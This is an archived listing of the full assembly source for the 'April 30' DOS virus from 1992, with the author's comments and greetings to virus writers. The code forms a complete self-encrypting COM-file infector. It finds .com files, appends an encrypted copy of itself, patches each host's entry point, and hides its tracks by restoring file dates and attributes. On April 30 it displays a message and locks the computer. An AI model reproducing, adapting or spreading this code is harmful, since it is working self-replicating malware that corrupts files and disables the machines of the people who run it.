home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / tdupdat2.err / TRIDUNKN.ZIP / APRIL30.ZIP / APRIL30.A86 next >
Encoding:
Text File  |  1993-12-24  |  12.4 KB  |  255 lines

  1. ;******************************************************************************
  2. ;*                                                                Written in  *
  3. ;*                     April 30 Virus - Strain A                  A86 V3.22   *
  4. ;*                                                                ----------  *
  5. ;******************************************************************************
  6. ;*                   "NightBird goes,                                         *
  7. ;*                                   Along with the Queen..."                 *
  8. ;******************************************************************************
  9. ; Your are now looking at the result of my very first attempt to code
  10. ; a Virus. This virus is a non-Resident Self- encrypting Direct Action
  11. ; Com Infecter, which doesn't infect Command.com. The Virus is only active
  12. ; on April 30, showing the Message and Hanging the System.....
  13. ; You can recognize an infected File simply, the 4th Byte is a 'N'ightBird.
  14. ;
  15. ; Disclaimer: The Author will not be held responsible for any actions
  16. ;              caused by this Virus.
  17. ;
  18. ;       Note: Don't just say: " another booring virus.. ", instead
  19. ;             be a teaching aid, and search for my pitfalls, (ofcoz
  20. ;             if there are any!), so I can improve my code....
  21. ;             Please do so.....
  22. ;
  23. ;  Enough of that crap talk,
  24. ;           Greetingz go to...  : John Tardy / TridenT and all other Members..
  25. ;                               : Serge of (Ex) House Designs
  26. ;                               : All Virus-Writers around the globe
  27. ;
  28. ;  Well that's it for now.....
  29. ;
  30. ;                                 C U & Have pHun,
  31. ;                                            (c) NightBird  Dec. 1992.
  32.  
  33.  
  34.                 org 100h                                ; Produce a Com File
  35.  
  36. Start:          jmp Prog                                ;
  37.                 db 'N'                                  ;     Virus ID
  38.  
  39.                 
  40.  
  41. Prog:           Push ax                                 ; Save Possible Errors
  42.                 call Main                               ;    Get Virus
  43. Main:           pop bp                                  ;      Offset
  44.                 sub bp,offset Main                      ;    IP = BP
  45.                 
  46.                 lea si,Restore[bp]                      ;
  47.                 mov di,si                               ;
  48.                 mov cx,CrypterLen                       ;    Decrypt
  49. Decrypt:        lodsb                                   ;      the
  50. Key:            Add al,0                                ;     Virus
  51.                 stosb                                   ;
  52.                 loop Decrypt                            ;
  53.  
  54. Decryptlen      equ $-Prog                              ;
  55.  
  56.  
  57. Restore:        lea si,[bp+Restore_Host]                ;   Restore
  58.                 mov di,100h                             ;   the Original
  59.                 movsw                                   ;   4 Bytes of the
  60.                 movsw                                   ;   Host Program
  61.                 
  62.                 mov ah,2ah                              ;   Is it
  63.                 int 21h                                 ;   the 30 of
  64.                 cmp dh,4                                ;   April?
  65.                 jne Start_Virus                         ;   Yes, Show Txt
  66.                 cmp dl,30                               ;   No, Continue
  67.                 jne Start_Virus                         ;   with Start_Virus
  68.  
  69.                 mov ah,09h                              ;
  70.                 lea dx,Txt[bp]                          ;   Show Txt
  71.                 int 21h                                 ;   And lock
  72. HyperSpace:     cli                                     ;   the Computer
  73.                 jmp HyperSpace                          ;
  74.  
  75.  
  76.  
  77. Start_Virus:    mov ax,3524h                            ;   Get Adress of
  78.                 int 21h                                 ;   Interrupt 24h
  79.  
  80.                 lea Oldint24h[bp],es                    ;   Store
  81.                 lea Oldint24h+2[bp],bx                  ;        them...
  82.  
  83.                 push cs                                 ;     Cs = Es
  84.                 pop es                                  ;     Register
  85.  
  86.                 mov ax,2524h                            ;   Install a new
  87.                 lea dx,Newint24h                        ;   Int. to suppres
  88.                 int 21h                                 ;   Errors..
  89.  
  90.                 mov ah,1ah                              ;   Move DTA
  91.                 mov dx,dta                              ;   to a save
  92.                 int 21h                                 ;   place
  93.  
  94.                 mov ah,4eh                              ;
  95. Search:         lea dx,[bp+Filespec]                    ;   Search
  96.                 xor cx,cx                               ;   for a com file, and
  97.                 int 21h                                 ;   and quit if error
  98.                 jnc Found                               ;
  99.                 jmp End_Virus                           ;
  100.  
  101. Found:          cmp word ptr [bp+offset dta+35],'DN'    ;   Check If Command.com
  102.                 je Find_Next_one                        ;
  103.  
  104.                 mov ax,4300h                            ;   Fetch file
  105.                 mov dx,dta+1eh                          ;   Attribute
  106.                 int 21h                                 ;   and store it
  107.                 push cx                                 ;   on stack
  108.  
  109.                 mov ax,4301h                            ;   Set attribute
  110.                 mov cx,cx                               ;   for use
  111.                 int 21h                                 ; 
  112.  
  113.                 mov ax,3d02h                            ;   Open file
  114.                 int 21h                                 ;   Dx = 0fd1eh
  115.                 xchg ax,bx                              ;   BX = FileHandle
  116.  
  117.                 mov ax,5700h                            ;   Get file/date
  118.                 int 21h                                 ;   format and
  119.                 push cx                                 ;   store them
  120.                 push dx                                 ;   on stack
  121.  
  122.                 mov ah,3fh                              ;   Read 4 Bytes
  123.                 lea dx,[bp+Restore_Host]                ;   and save
  124.                 mov cx,4                                ;     them..
  125.                 int 21h
  126.  
  127.                 mov ax,[Restore_Host+bp]                ;     Check
  128.                 cmp ax,'MZ'                             ;   if it is
  129.                 je Exit                                 ;   a renamed
  130.                 cmp ax,'ZM'                             ;    Exe-File
  131.                 je exit                                 ;
  132.  
  133.                 mov ah,[bp+Restore_Host+3]              ;   Check if Already
  134.                 cmp ah,'N'                              ;   infected
  135.                 jne Infect
  136.                                                         ;   Jump to Sub-Routine
  137. Exit:           Call Close
  138.  
  139. Find_Next_one: mov ah,4fh                               ;   Try Another
  140.                jmp Search                               ;       file...
  141.  
  142. Infect:         mov ax,4202h                            ;   Move File
  143.                 xor cx,cx                               ;   Pointer to
  144.                 xor dx,dx                               ;   the End of
  145.                 int 21h                                 ;   the File
  146.  
  147.                 cmp ax,0fb00h                           ;   File too
  148.                 jae Exit                                ;     Big
  149.  
  150.                 cmp ax,Minlen                           ;    File too
  151.                 jbe Exit                                ;     Short
  152.  
  153.                 sub ax,3                                ;   Save Jmp
  154.                 mov word ptr [bp+Jmp_to_Virus]+1,ax     ;
  155.  
  156. Zero:           mov ah,2ch                              ;   (If the key
  157.                 int 21h                                 ;   is 0,go Zero)
  158.                 cmp dl,0                                ;
  159.                 jne Continue                            ;   Get Seconds
  160.                 jmp Zero                                ;   to save as
  161. Continue:       mov key+1[bp],dl                        ;   Decrypter-Key
  162.                 lea si,[Prog+bp]                        ;
  163.                 mov di,0fd00h                           ;   Move the
  164.                 mov cx,Decryptlen                       ;   Decrypter
  165.                 rep movsb                               ;     Part
  166.  
  167.                 lea si,Restore[bp]                      ;
  168.                 mov cx,Crypterlen                       ;   Decrypt behind
  169. Encrypt:        lodsb                                   ;       the
  170.                 Sub al,dl                               ;    Decrypter
  171.                 stosb                                   ;
  172.                 loop encrypt                            ;
  173.  
  174.                 mov ah,40h                              ;   Write Virus
  175.                 lea dx,0fd00h                           ;   at the end
  176.                 mov cx,virlen                           ;   of the file!
  177.                 int 21h                                 ;
  178.  
  179.                 mov ax,4200h                            ;   Move File
  180.                 xor cx,cx                               ;   Pointer to
  181.                 xor dx,dx                               ;   the start of
  182.                 int 21h                                 ;   the file
  183.  
  184.                 mov ah,40h                              ;   Write Virus-Jmp
  185.                 lea dx,Jmp_to_Virus[bp]                 ;   to the begin
  186.                 mov cx,4                                ;   of the file
  187.                 int 21h                                 ;
  188.  
  189.                 call close                              ;   Jump to Sub-Routine
  190.  
  191.  
  192.  
  193. End_Virus:      mov ax,2524h                            ;
  194.                 lea bx,Oldint24h[bp]                    ;   Restore Old
  195.                 mov ds,bx                               ; (Critical Error)
  196.                 lea dx,Oldint24h+2[bp]                  ;   Interrupt 24h
  197.                 int 21h                                 ;
  198.  
  199.                 push cs                                 ;     Cs = Ds
  200.                 pop ds                                  ;     Register
  201.  
  202.                 mov ah,1ah                              ;
  203.                 mov dx,80h                              ;
  204.                 int 21h                                 ;   Restore DTA
  205.                 pop ax                                  ;   and go back
  206.                 mov di,100h                             ;   to the Host
  207.                 push di                                 ;     Program
  208.                 ret                                     ;
  209.  
  210.  
  211. Close:          pop si                                  ;  Fetch IP from Stack
  212.                 pop dx                                  ;
  213.                 pop cx                                  ;    Restore
  214.                 mov ax,5701h                            ;   Date/Time
  215.                 int 21h                                 ;
  216.  
  217.                 mov ah,3eh                              ;   Close
  218.                 int 21h                                 ;    File
  219.  
  220.                 mov ax,4301h                            ;
  221.                 pop cx                                  ;   Restore File
  222.                 mov dx,dta+1eh                          ;   Attributes
  223.                 int 21h                                 ;
  224.                 push si                                 ;  Restores IP
  225.                 ret                                     ;
  226.  
  227. Newint24h:      mov al,3                                ;  Suppres Errors
  228.                 iret                                    ;  & Go back
  229.  
  230. Oldint24h dd 0
  231.  
  232. Restore_Host db 0cdh,20h,0,0
  233.              
  234. Jmp_to_Virus db 0e9h,0,0,'N'
  235.  
  236. Filespec     db '*.com',0
  237.  
  238. Txt db 13,10,9,9,'"NightBird goes,',10,'Along with the Queen..."',13,10,7,'$'
  239.  
  240. Names           db '*April 30 Virus*'
  241.  
  242. Dta equ 0fc00h
  243.  
  244. Crypterlen equ $-Restore
  245.  
  246. Virlen equ $-Prog
  247.  
  248. Minlen equ Virlen*2
  249.  
  250.  
  251. ;  ─────────────────────────────────────────────────────────────────────────
  252. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  253. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  254. ;  ─────────────────────────────────────────────────────────────────────────
  255.